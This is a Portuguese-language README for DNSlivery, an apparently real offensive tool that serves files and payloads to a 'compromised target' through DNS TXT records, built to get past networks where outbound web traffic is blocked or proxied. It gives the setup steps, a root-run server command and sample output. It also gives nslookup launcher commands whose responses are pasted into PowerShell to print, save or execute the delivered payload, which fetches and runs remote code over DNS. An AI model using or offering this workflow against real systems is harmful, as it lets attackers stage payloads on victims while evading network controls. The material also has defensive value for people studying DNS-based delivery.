
Entrega fácil de arquivos e payloads via DNS
Entrega fácil de arquivos e payloads via DNS.
Este projeto foi originalmente inspirado pelo PowerDNS e pelo segmento técnico de Joff Thyer no podcast Paul's Security Weekly #590 (youtu.be/CP6cIwFJswQ).
O DNSlivery permite entregar arquivos a um alvo usando DNS como protocolo de transporte.
Recursos:

Entregar facilmente arquivos e/ou payloads a um alvo comprometido onde a entrega web clássica não é possível e sem a necessidade de um software cliente dedicado. Isso se aplica a ambientes restritos onde o tráfego web de saída é proibido ou simplesmente inspecionado por um proxy web curioso.

Embora ferramentas de tunelamento DNS mais completas já existam (como dnscat2 e iodine), todas exigem a execução de um cliente dedicado no alvo. O problema é que provavelmente não há outra forma além do DNS para entregar o cliente em ambientes tão restritos. Em outras palavras, construir um canal de comunicação DNS com essas ferramentas exige que você já tenha um canal de comunicação DNS.
Em comparação, o DNSlivery fornece apenas comunicação unidirecional do seu servidor para o alvo, mas não requer nenhum cliente dedicado para isso. Assim, se você precisar construir um canal de comunicação bidirecional confiável via DNS, use o DNSlivery para entregar o cliente de uma ferramenta de tunelamento DNS mais avançada ao seu alvo.
Assim como a maioria das ferramentas de tunelamento DNS, o DNSlivery usa registros TXT para armazenar o conteúdo dos arquivos em sua representação base64. No entanto, ele não exige a configuração de um servidor DNS completo para funcionar. Em vez disso, usa a biblioteca scapy para escutar pacotes DNS recebidos e criar a resposta desejada.

Como a maioria dos arquivos não cabe em um único registro TXT, o DNSlivery criará vários registros ordenados contendo blocos base64 do arquivo. Como exemplo, o diagrama acima ilustra a entrega do 42º bloco do arquivo chamado file.
Para recuperar todos os blocos base64 e remontá-los sem a necessidade de um cliente dedicado no alvo, o DNSlivery gerará para cada arquivo:

Esse processo de entrega em duas etapas é necessário para adicionar recursos ao stager (como lidar com respostas DNS perdidas) que, de outra forma, não caberiam em um único registro TXT.
Atualmente, apenas alvos PowerShell são suportados. No entanto, o DNSlivery poderia ser aprimorado para suportar alvos adicionais, como bash ou python. Por favor, avise-me @no0be se este é um recurso que você gostaria de ver implementado.
O DNSlivery não exige a construção de uma infraestrutura de servidor complexa. Na verdade, existem apenas dois requisitos simples:
NS na sua zona DNS públicaudp/53 da InternetO primeiro passo é delegar um subdomínio ao servidor que executará o DNSlivery, criando um novo registro NS no seu domínio. Como exemplo, criei o seguinte registro para delegar o subdomínio dnsd.no0.be ao servidor em vps.no0.be.
dnsd IN NS vps.no0.be.
Se a sua zona for gerenciada por um provedor terceirizado, consulte a documentação dele para criar o registro NS.
Os únicos requisitos para executar o DNSlivery são python3 e sua biblioteca scapy.
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt
O DNSlivery servirá todos os arquivos de um diretório específico (pwd por padrão) e precisa ser executado com privilégios de root para escutar pacotes udp/53 recebidos.
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver
DNSlivery - Easy files and payloads delivery over DNS
positional arguments:
interface interface to listen to DNS traffic
domain FQDN name of the DNS zone
nameserver FQDN name of the server running DNSlivery
optional arguments:
-h, --help show this help message and exit
-p PATH, --path PATH path of directory to serve over DNS (default: pwd)
-s SIZE, --size SIZE size in bytes of base64 chunks (default: 255)
-v, --verbose increase verbosity
Exemplo:
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery
DNSlivery - Easy files and payloads delivery over DNS
[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...
Como o conjunto de caracteres permitido para nomes de domínio é muito mais restritivo do que para nomes de arquivo UNIX (conforme RFC1035), o DNSlivery realizará a normalização quando necessário.
Exemplo:
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)
Esteja ciente de que o código de normalização atual não é perfeito, pois não leva em consideração nomes de arquivo sobrepostos ou limite de tamanho.
No alvo, comece recuperando o launcher do arquivo desejado solicitando seu registro TXT dedicado. Os três launchers a seguir são suportados:
nslookup -type=txt [filename].[stager].[domain]
Em seguida, basta copiar e colar o launcher citado na resposta DNS em um console PowerShell para recuperar o arquivo no alvo.
Exemplo:

| Ação | Launcher | Descrição |
|---|
| Imprimir | [filename].print.[domain] | (Padrão) Imprime o arquivo entregue no console |
| Executar | [filename].exec.[domain] | Executa o arquivo entregue (útil para scripts) |
| Salvar | [filename].save.[domain] | Salva o arquivo entregue em disco (útil para binários) |